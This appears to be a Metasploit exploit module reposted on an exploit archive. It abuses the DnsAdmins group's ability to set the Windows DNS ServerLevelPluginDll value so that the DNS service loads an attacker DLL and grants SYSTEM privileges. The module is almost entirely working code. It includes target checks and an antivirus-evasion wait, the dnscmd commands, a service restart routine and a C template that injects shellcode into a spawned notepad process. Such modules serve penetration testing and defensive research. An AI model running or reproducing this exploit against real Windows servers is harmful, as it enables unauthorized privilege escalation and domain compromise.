DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation

This Metasploit module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the ServerLevelPluginDll value using dnscmd.exe to create a registry key at HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ named ServerLevelPluginDll that can be made to point to an arbitrary DLL.


MD5 | a9fb3457e349592a8a89e98cdf5e1403

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/compiler/windows'

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation',
'Description' => %q{
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service
will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended
when using a UNC path.

Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,
the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and
users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus
after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the target computer may point to an nonexistant DLL,
which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for
this module for advice on how to resolve this issue should it occur.

This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
Server version up to and including Windows Server 2019.
},
'References' =>
[
['URL', 'https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83'],
['URL', 'https://adsecurity.org/?p=4064'],
['URL', 'http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html']
],
'DisclosureDate' => 'May 08 2017',
'License' => MSF_LICENSE,
'Author' =>
[
'Shay Ber', # vulnerability discovery
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
],
'Platform' => 'win',
'Targets' => [[ 'Automatic', {} ]],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'WfsDelay' => 20,
'EXITFUNC' => 'thread'
},
'Notes' =>
{
'Stability' => [CRASH_SERVICE_DOWN], # The service can go down if AV picks up on the file at an
# non-optimal time or if the UNC path is typed in wrong.
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptString.new('DLLNAME', [ true, 'DLL name (default: msf.dll)', 'msf.dll']),
OptString.new('DLLPATH', [ true, 'Path to DLL. Can be a UNC path. (default: %TEMP%)', '%TEMP%']),
OptBool.new('MAKEDLL', [ true, 'Just create the DLL, do not exploit.', false]),
OptInt.new('AVTIMEOUT', [true, 'Time to wait for AV to potentially notice the DLL file we dropped, in seconds.', 60])
]
)

deregister_options('FILE_CONTENTS')
end

def check
if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/
vprint_good('OS seems vulnerable.')
else
vprint_error('OS is not vulnerable!')
return Exploit::CheckCode::Safe
end

username = client.sys.config.getuid
user_sid = client.sys.config.getsid
hostname = sysinfo['Computer']
vprint_status("Running check against #{hostname} as user #{username}...")

srv_info = service_info('DNS')
if srv_info.nil?
vprint_error('Unable to enumerate the DNS service!')
return Exploit::CheckCode::Unknown
end

if srv_info && srv_info[:display].empty?
vprint_error('The DNS service does not exist on this host!')
return Exploit::CheckCode::Safe
end

# for use during permission check
if srv_info[:dacl].nil?
vprint_error('Unable to determine permissions on the DNS service!')
return Exploit::CheckCode::Unknown
end
dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)

vprint_good("DNS service found on #{hostname}.")

# user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll
group_membership = get_whoami
unless group_membership
vprint_error('Unable to enumerate group membership!')
return Exploit::CheckCode::Unknown
end

unless group_membership.include? 'DnsAdmins'
vprint_error("User #{username} is not part of the DnsAdmins group!")
return Exploit::CheckCode::Safe
end

# find the DnsAdmins group SID
dnsadmin_sid = ''
group_membership.each_line do |line|
unless line.include? 'DnsAdmins'
next
end

vprint_good("User #{username} is part of the DnsAdmins group.")
line.split.each do |item|
unless item.include? 'S-'
next
end

vprint_status("DnsAdmins SID is #{item}")
dnsadmin_sid = item
break
end
break
end

# check if the user or DnsAdmins group has the proper permissions to start/stop the DNS service
if dacl_items.any? { |dacl_item| dacl_item[0].include? dnsadmin_sid }
dnsadmin_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? dnsadmin_sid }[0]
if dnsadmin_dacl.include? 'RPWP'
vprint_good('Members of the DnsAdmins group can start/stop the DNS service.')
end
elsif dacl_items.any? { |dacl_item| dacl_item[0].include? user_sid }
user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0]
if user_dacl.include? 'RPWP'
vprint_good("User #{username} can start/stop the DNS service.")
end
else
vprint_error("User #{username} does not have permissions to start/stop the DNS service!")
return Exploit::CheckCode::Safe
end

Exploit::CheckCode::Vulnerable
end

def exploit
# get system architecture
arch = sysinfo['Architecture']
if arch != payload_instance.arch.first
fail_with(Failure::BadConfig, 'Wrong payload architecture!')
end

# no exploit, just create the DLL
if datastore['MAKEDLL'] == true
# copypasta from lib/msf/core/exploit/fileformat.rb
# writes the generated DLL to ~/.msf4/local/
dllname = datastore['DLLNAME']
full_path = store_local('dll', nil, make_serverlevelplugindll(arch), dllname)
print_good("#{dllname} stored at #{full_path}")
return
end

# will exploit
if is_system?
fail_with(Failure::BadConfig, 'Session is already elevated!')
end

unless [CheckCode::Vulnerable].include? check
fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
end

# if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll
print_status('Checking service state...')
svc_state = service_status('DNS')
unless svc_state[:state] == 4
print_status('DNS service is stopped, starting it...')
service_start('DNS')
end

# the service must be started before proceeding
total_wait_time = 0
loop do
svc_state = service_status('DNS')
if svc_state[:state] == 4
sleep 1
break
else
sleep 2
total_wait_time += 2
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
end
end

# the if block assumes several things:
# 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet
# 2. operator has generated their own DLL with the correct payload and architecture
# 3. operator's SMB share is accessible from the target. "Enable insecure guest logons" is "Enabled" on the target or
# the target falls back to SMB1
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
if datastore['DLLPATH'].start_with?('\\\\')

# Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
build_num_raw = session.shell_command_token('cmd.exe /c ver')
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
if build_num.nil?
print_error("Couldn't retrieve the target's build number!")
return
else
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
vprint_status("Target's build number: #{build_num}")
end

build_num_gemversion = Gem::Version.new(build_num)

# If the target is running Windows 10 or Windows Server versions with a
# build number of 16299 or later, aka v1709 or later, then we need to check
# if "Enable insecure guest logons" is enabled on the target system as per
# https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser
if (build_num_gemversion >= Gem::Version.new('10.0.16299.0'))
# check if "Enable insecure guest logons" is enabled on the target system
allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth')
unless allow_insecure_guest_auth == 1
fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!")
end
end
print_status('Using user-provided UNC path.')
else
write_file(dllpath, make_serverlevelplugindll(arch))
print_good("Wrote DLL to #{dllpath}!")
print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...")
sleep(datastore['AVTIMEOUT'])
unless file_exist?(dllpath.to_s)
print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...')
return
end
print_good("Looks like our file wasn't caught by the AV.")
end

print_warning('Entering danger section...')

print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...")
dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip
unless dnscmd_result.include? 'success'
fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0])
end

print_good(dnscmd_result.split("\n")[0])

# restart the DNS service
print_status('Restarting the DNS service...')
restart_service
end

def on_new_session(session)
if datastore['DLLPATH'].start_with?('\\\\')
return
else
if session.type == 'meterpreter'
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
end

vprint_status('Erasing ServerLevelPluginDll registry value...')
cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll")
print_good('Exited danger zone successfully!')

dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
restart_service('session' => session, 'dllpath' => dllpath)
end
end

def restart_service(opts = {})
# for deleting the DLL
if opts['session'] && opts['dllpath']
session = opts['session']
dllpath = opts['dllpath']
end

service_stop('DNS')
# see if the service has really been stopped
total_wait_time = 0
loop do
svc_state = service_status('DNS')
if svc_state[:state] == 1
sleep 1
break
else
sleep 2
total_wait_time += 2
fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90
end
end

# clean up the dropped DLL
if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\')
vprint_status("Removing #{dllpath}...")
session.fs.file.rm dllpath
end

service_start('DNS')
# see if the service has really been started
total_wait_time = 0
loop do
svc_state = service_status('DNS')
if svc_state[:state] == 4
sleep 1
break
else
sleep 2
total_wait_time += 2
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
end
end
end

def make_serverlevelplugindll(arch)
# generate the payload
payload = generate_payload
# the C template for the ServerLevelPluginDll DLL
c_template = %|
#include <Windows.h>
#include <stdlib.h>
#include <String.h>

BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

int DnsPluginCleanup __attribute__((export))(void) { return 0; }
int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }
int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) {
STARTUPINFO startup_info;
PROCESS_INFORMATION process_info;
char throwaway_buffer[8];

ZeroMemory(&startup_info, sizeof(startup_info));
startup_info.cb = sizeof(STARTUPINFO);
startup_info.dwFlags = STARTF_USESHOWWINDOW;
startup_info.wShowWindow = 0;

if (CreateProcess(NULL, "C:\\\\Windows\\\\System32\\\\notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) {
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;

unsigned char shellcode[] = "SHELLCODE_PLACEHOLDER";

processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId);
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

CloseHandle(process_info.hThread);
CloseHandle(processHandle);
}

return 0;
}
|

c_template.gsub!('SHELLCODE_PLACEHOLDER', Rex::Text.to_hex(payload.raw).to_s)

cpu = nil
case arch
when 'x86'
cpu = Metasm::Ia32.new
when 'x64'
cpu = Metasm::X86_64.new
else
fail_with(Failure::NoTarget, 'Target arch is not compatible')
end

print_status('Building DLL...')
Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)
end
end

Related Posts